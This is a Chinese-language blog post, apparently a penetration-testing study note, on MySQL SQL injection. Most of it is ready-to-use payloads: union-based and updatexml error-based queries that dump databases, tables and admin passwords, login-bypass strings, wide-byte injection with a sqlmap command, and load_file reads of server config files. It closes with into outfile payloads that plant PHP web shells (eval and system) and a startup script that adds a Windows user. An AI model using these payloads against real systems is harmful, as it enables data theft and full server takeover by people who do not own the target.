title: SQL注入- Mysql
tags: SQL注入
abbrlink: 331769dc

date: 2022-07-29 11:35:13

Mysql 介绍

MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

常见的sql语句

  1. 说明:创建数据库
    CREATE DATABASE database-name
    
  2. 说明:删除数据库
    drop database dbname
    
  3. 说明:创建新表
    CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
    
  4. 查看数据库
    show databases;
    
    插入数据
    insert into admin(username,password) value ('admin','admin');
    
    查询数据
    select * from admin;
    
    更新修改数据
    update admin set password='adsdf' where id = 1;
    
    删除数据
    delete from admin where id =1 ;
    

Mysql 函数

  1. system_user() 系统用户名
  2. user() 用户名
  3. current_user 当前用户名
  4. session_user()连接数据库的用户名
  5. database() 数据库名
  6. version() MYSQL数据库版本
  7. load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
  8. @@datadir 读取数据库路径
  9. @@basedir MYSQL 安装路径
  10. @@version_compile_os 操作系统

相关函数

mid()---从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start   必需。规定开始位置(起始值是 1)。
length  可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
select * from user limit 1,2;
Count()---聚集函数,统计元祖的个数
rand()---用于产生一个0~1的随机数
floor()---向下取整
group by---依据我们想要的规则对结果进行分组
select * from user group by host;
length()---返回字符串的长度
 select length('www.cracer.com');
Substr()---截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)
select substr(host,2,3) from user;
Ascii()---返回字符串的ascii码
Select ascii(‘a’);

Mysql注释

注释符:

#、--、/**/

内联注释:

/*!union*/和/*!50001union*/

语句中的代替符号:

用+、%0a/%0D/和/*ADJFKLASDF--234U23SJFD AND 1=1*/代替空格

`%或者``/**/`、%00```%01`分割sql语句编码绕过 url编码

数据库结构对比

access数据库

A网站:adata.mdb
        表名(admin)
        列名(user,pass)
            值
B网站:bdata.mdb
    表名(admin)
        列名(user,pass)
            值       
  • mysql

    A数据库名
    B数据库名
        表名
            列名
                值
    

    Mysql 注入原理

  • 判断注入漏洞

    And 1=1 and1=2
    
  • 判断多少列,数字报错减少,正常增加

    Order by 20
    
  • union联合查询,报字符列在第几列

    union select 1,2,3,4,5
    
  • 在字符列上报相关信息,数据库版本信息,用户,数据库名称(十六进制转换)。

    union select 1,version(),3,4,5
    
  • 指定数据库,爆数据库表名

    union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema. tables where table_schema=0x6D7574696130313231
    
  • 指定表名爆列名

    union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema. columns where table_name=0x61646D696E
    id,name,adminpass,right_li,right_li_b,checks,level_id
    
  • 查询数据信息

    union select 1,group_concat(name,0x5c,adminpass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from  admin
    

常见的防注入代码

function check_sql($x){
    $inject=array("select","union","from","and","or");

    $i=str_replace($inject,"",$x);
    return $i;
}

/* function check_sql($Sql_Str) {//自动过滤Sql的注入语句。
    $check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$Sql_Str);
    if ($check) {
        echo '<script language="JavaScript">alert("系统警告:\n\n请不要尝试在参数中包含非法字符尝试注入!");</script>';
        exit();
    }else{
        return $Sql_Str;
    }
} */

绕过防注入代码

  • 大小写绕过
  • %00编码绕过

    Mysql 显错注入

判断是否存在注入输入`'`
显错注入有很多函数

floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、
polygon()、multipolygon()、linestring()、multilinestring()、exp()

updatexml的显错利用

'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+                                                        #查看当前数据库用户
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+                                                    #查看当前数据库名
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+     #查看当前数据库
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+         #查看当前数据库
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1)--+       #查看当前数据库
'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+     #查看所有数据库
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+ 
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,updatexml()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
'and updatexml(1,concat(0x7e,substring(hex((select database())),1,5),0x7e),1)
'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,5),0x7e),1)--+ 

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+            #查看当前数据库的表名
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+            #查看user表的列名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+   列用户名密码
'and updatexml(1,concat(0x7e,(select user from user limit 0,1),0x7e),1)--+ 
'and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)--+ 

%27and%20updatexml(1,concat(0x7e,substring(hex((select%20password%20from%20user%20limit%200,1)),44,75),0x7e),1)--+

后台绕过

select * from user where username='' and password=''
输入:admin'#
select * from user where username='admin'#' and password=''
输入:admin' or '1=1
select * from user where username='admin' or '1=1' and password=''

Mysql长字节截断攻击

条件:
管理员和普通用户在一个表中
用户名字段长度有一定限制比如长度为10个字符
普通用户在注册名称的时候可以吧用户名设置为
Admin+++++++++++++++++++++++++
使其长度超过字段限制的长度,会自动截断,变成admin
这样相当于增加了个admin管理员账号密码。

Mysql宽字节注入

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当打开时,所有的 '(单引号),“(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。
这和 addslashes() 作用完全相同。
一共有三个魔术引号指令:
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。
不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,
包括从数据库和文本文件,所返回的数据都会被反斜线转义。
该选项可在运行的时改变,在 PHP 中的默认值为 off。
参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。
此选项会完全覆盖 magic_quotes_gpc。
如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。
如何取得其值参见 ini_get()。

使用宽字节注入绕过魔术引号

%df%27
sqlmap.py -u “cracer.com/xx.php?id=1”
--risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3

Mysql 读写文件操作

load_file()函数
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
例如:
d:/www/xx/index.php
/usr/src/apache/htdoc/index.php
注意:
1.路径符号 “" 错误“\”正确 “/” 正确
2.转换十六进制数,就不要‘’

获取根目录

1.报错显示
2.谷歌黑客
site:目标网站 warning
3.遗留文件 phpinfo info test php
4.漏洞爆路径
5.读取配置文件

读取网站文件内容

and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
and 1=2 union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
c:/windows/system32/inetsrv/metabase.xml

写入函数 into outfile

and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.txt'

其他利用
第一种方法:需要使用wamp环境搭建需要系统权限才能执行

 and 1=2 union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'

第二种方法:

and 1=2 union select 1,"<pre><body><?  @system($_GET['cc']); ?></body></pre>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php'